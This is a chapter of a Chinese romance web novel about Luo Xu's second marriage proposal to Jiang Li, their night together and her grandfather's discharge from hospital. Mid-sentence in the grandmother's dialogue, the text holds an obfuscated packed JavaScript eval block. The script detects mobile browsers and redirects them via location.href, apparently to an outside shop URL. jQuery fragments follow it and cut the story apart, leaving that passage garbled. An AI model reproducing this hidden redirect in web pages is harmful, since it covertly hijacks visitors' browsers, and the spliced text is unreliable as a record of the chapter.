151.第二次求婚

作品:《不可食用景观[久别重逢]

    满是泥灰的小巷里铺满柔和的月光,像一条缓缓流动的银河。


    罗序背着她,一步一脚印,一句一铿锵,字字掷地有声。


    “以后,你想做什么就做什么,玩累了,疯累了,我就背着你。我的就是你的,不要考虑太多,姜姜,能让你自由自在,无拘无束,就是我的心愿。”


    萧瑟的晚风也吹不散沉沉诉说。


    姜梨喉咙哽住,突然什么也说不出,但搂着脖颈的胳膊又紧了紧,这是她唯一能做的。


    “心情好些没?”


    她的呼吸和心跳都轻了。罗序稍稍偏过头,用耳朵蹭蹭她。


    姜梨把头埋得更深,躲开,闷闷地说了声,“好多了。”


    罗序“嗯”了一声,没再多言。


    他只是背着她,完成多年前的一个梦想。


    那年夏天,十五岁的他初到北城,眼睁睁看着姜梨在父亲背上肆意张狂。


    他羡慕,羡慕姜丰背上有沉甸甸的依靠;羡慕姜梨的童年无忧无虑。


    而今天,再次鼓起勇气,完成多年夙愿。


    他轻轻地把姜梨放到地上,转过身时,脸色凝重,好像生气了。


    但只有姜梨从滚动的喉结和僵硬的动作看出,罗序其实紧张。


    她也不由得缩起手脚,怯怯地看着他。


    罗序做事一直老练沉稳,能让他紧张的事会是什么?


    等到那枚熟悉的戒指出现在眼前时,姜梨的心突然一酸。


    第二次求婚。


    向来雷厉风行、杀伐果断的罗序居然要求两次婚。


    也难怪他紧张。


    除了姜梨,怕怕是没给过任何人第二次机会。


    又或者,是姜梨在给罗序第二次机会。


    不管怎样,他还是颤巍巍地举起那枚戒指,问出了终极命题。


    “姜姜,你愿意吗?”


    姜梨小心地四下看看,只有急匆匆赶路的行人。因为路面泥泞,根本无暇顾及突然驻足的她们。


    她收回目光抿了抿唇,想说好吧,可以,但又觉得太过轻描淡写,不足以为难罗序。于是,转而狡黠地盯着对方。


    “上次还有烟火、无人机和城堡呢。这次真敷衍。”


    嘴上说着,但她还是伸出手,无名指乖顺地穿过戒指,欣喜地摆弄着。


    罗序刮了下她鼻子。


    “上次谁笑话我老土。”


    “可上次你还跪下了呢。”


    姜梨鼓着腮帮子一扭头,连眼神都不分给罗序,摆明了事情还没完。


    罗序唇角一勾,直接把人拦腰抱起,灼热的呼吸在耳畔回荡,“晚上回去跪……”


    这一夜北风席卷整个城市,不久,又要落雪。


    姜梨没想到,罗序说的跪居然是拉着她一起。


    戒指陷入手指包裹,罗序掐着软腰餍足地叹了声,迟迟不愿撤出。


    把人彻底压进被子里,他拽起姜梨柔软无力的胳膊搭在自己肩膀上,强行事后安抚。


    鼻尖在凌乱的发丝见搜寻她的心跳、动脉、呼吸和眼睛,他一点点吻着,喃喃着,“今天怎么了?”


    他明显察觉到姜梨放不开,不愿追随他的节奏。


    不会是姜尽山的原因。


    医生明确表示身体无恙,三天就能出院,这是院方领导和知名专家得出的结论。


    会不会是姜丰或者姜朵,罗序拿不准。


    只能在这深夜无人时,一点点探究。


    好在姜梨愿意回吻他,他又吻回去,才稍稍心安。


    冰凉的指尖描摹着轮廓分明的大臂线条。


    肌肉平滑,血管凸起,像山峰与河流交相重叠。


    掌心轻轻服帖上去,心里踏实下来,她把额头抵在罗序锁骨上,闭着眼睛叹了声,“我觉得自己很幸福。”


    黑夜里,罗序的轻笑声特别悦耳。


    “等你去意大利进修,亲眼看看我为你造的庄园,然后环游世界,叶阿姨去过的地方我带你走一遍。”


    胸口一团头发挠得有些痒,他躺下,让姜梨趴上来,凌乱的发丝朝一侧拢过去,罗序随手把玩着,另一只手搭在她肩上。


    “你的工作室可以开在任何地方,只要你想,我都全力支持。”


    姜梨的胳膊刚好穿过后背勾在罗序肩膀上,她攀了攀,用力压进他身体里,还是摇摇头。


    “我没想那些。”


    确切地说,从第一次求婚时,她就从那双眼睛里看见了自己。


    罗序的眼里只有她。


    姜梨从不质疑罗序对两人未来的考量,必定是把自己放在首位的,她有这个信心。


    和梨予甜境的女孩儿们重聚暂时压下了她对姜朵母女的怜悯。


    可深埋心底的同情在夜深人静时还是如潮汐退后的沙滩,一览无遗。


    说不难受是假的。


    那肉嘟嘟一团的小家伙,只需要一个呵欠,便在她心里深深烙印。


    “我是想到孩子……”


    她一闭眼,全是姜朵抱着孩子泪眼婆娑的样子。


    然而,突如其来提到孩子,显然是罗序没料到的。


    “姜姜,我……我戴了。你不同意我是不会……你该懂我的意思。”


    “我知道。”姜梨抽出胳膊,圈住罗序,鼻梁贴着他下颌,睫毛刚好够到腮边,轻轻挠了挠。


    “我就是觉得她们很可怜。”


    她的语气也轻飘飘的,仿佛只是感叹这人世间惊慌一瞥,来不及回味。


    罗序深深叹了声,胸口低低压下去,像有话说。


    可短暂的沉默后,他只是捏起姜梨白皙的手腕儿,揉了揉。


    手背上一处疤痕已经淡到快看不见,可落在罗序掌心却刺得心痛。


    那是姜梨离家那日,被猫挠的,那猫是姜朵养的。


    那天也是罗序重回北城的第二天。


    姜梨的角度看不到晦暗涌上眼底,只以为他还介怀,宽慰道,“已经不疼了,不仔细看也瞧不出什么。”


    罗序亲了亲,淡淡地嗯了声,一翻,又把她压在身下。


    姜姜,你还是心太软。


    ……


    再回到病房,明显能察觉到姜尽山的气色好了很多。


    姜梨仍旧执着动员爷爷奶奶和自己去上江。


    姜尽山逼急了,只有一句话,“你生孩子我们就过去四世同堂。”


    气得姜梨一把瓜子扔他身上,回头去看罗序,早就没影了。


    方朝凌摆弄着手头的针线,钢针互相摩擦,发出清脆的哒哒声。


    她尾指勾着一截毛线,推推镜子,笑看祖孙俩,说,“他去找医生聊聊你爷爷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302097|187902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的病,以后再出问题好歹知道怎么办,别像昨天早上,吓得我魂都飞了。”


    说完又埋头兴致勃勃地织起来,仿佛要把这初冬难得的阳光都藏进一针一线里。


    姜梨这才垂下眼皮,一脸地不甘心。


    自从昨晚后,她总感觉罗序有事瞒着自己。


    因为这是第一次,他没有接下她的情绪。哪怕是简单的认同都做不到。


    这让她心里多少有些失落。


    可爷爷病情好转,奶奶精神又不错,姜梨就不敢表现出来。直到罗序再次回到病房,她也只是淡淡瞄了一眼,就低下头。


    罗序走到床边,温热的大手搭在她后脑,缓缓摩擦两下,笑着说,“爷爷,今天就能出院了,只是以后别动气,身体还是要紧。否则,姜姜担心。”


    一听马上就能走,姜梨疑惑地抬头,正撞上罗序满含笑意的眼睛。


    “我安排了护士和医生每天上门检查,爷爷奶奶在家等着就行。两个人都看看,才放心。”


    入冬时节,心脑血管疾病进入高发期。


    北城每年的初雪都会送走一批老人。


    罗序这一招既可以免除爷爷奶奶困守医院的苦恼,也解了姜梨后顾之忧。


    可谓一举两得。


    她放心了,慢慢把头靠在罗序上腹部,感受衬衫下凹凸有致的腹肌。


    姜尽山看两个小年轻腻腻歪歪的,心里更是说不出的高兴。心情一好,身体就轻松,一刻也不想多呆,张罗着回家。


    可方朝凌非要把这一段织完。


    “这是我刚学会的,万一到家忘了呢,织出来的就不漂亮了。”说着,手下动作不停。


    姜尽山的脾气向来只在外人面前,对着方朝凌一点儿办法没有。


    他躺会床上,闭目养神。


    姜梨靠在罗序身上,侧头去看奶奶。


    她已经不再年轻,但投在墙上的影子依旧端庄优雅,仿佛岁月只是替她过滤沧桑无常,留下的是最纯粹的慈爱安详。


    一直到把两个人送回家,坐上回程的航班,姜梨还沉浸在被镀了金色的一幕。


    罗序拨弄着她翘起的碎发,戏谑道,“不想走了?那可得把婚礼地点改一下了。”


    姜梨反手就拍在她手背上。


    “谁说要这么快了。”


    虽然姜尽山已经默许了两人恢复婚约,但姜丰还不知道这件事,而且罗序虽然没什么亲人,但他的母亲罗檀总要见一见的。


    一想到罗家那些素未谋面的人,她就头疼,连刚刚美好起来的心情都大打折扣。


    眼看飞机即将起飞,罗序自然的把手捂在她耳朵上。


    从上江飞往来时,因为前一天没休息好,起飞时她耳鸣得厉害,一直是罗序搂着才缓解。


    现在这么自然的动作,姜梨却一把推开。


    “没事了,来的时候骗你的,我才不耳鸣呢。”


    罗序坐正身子,故作轻松道,“那还好。我以为上次你坐飞机,他也像我这样帮你捂着呢。”


    这次飞北城是两人第一次同乘航班,没想到因为这一点小事,罗序居然又计较起蒋清南来。


    她心里偷笑,嘴上不饶人。


    “他的手比你软,触感更……”


    话没说完,罗序就压了过来,狠狠在她唇上咬了一口。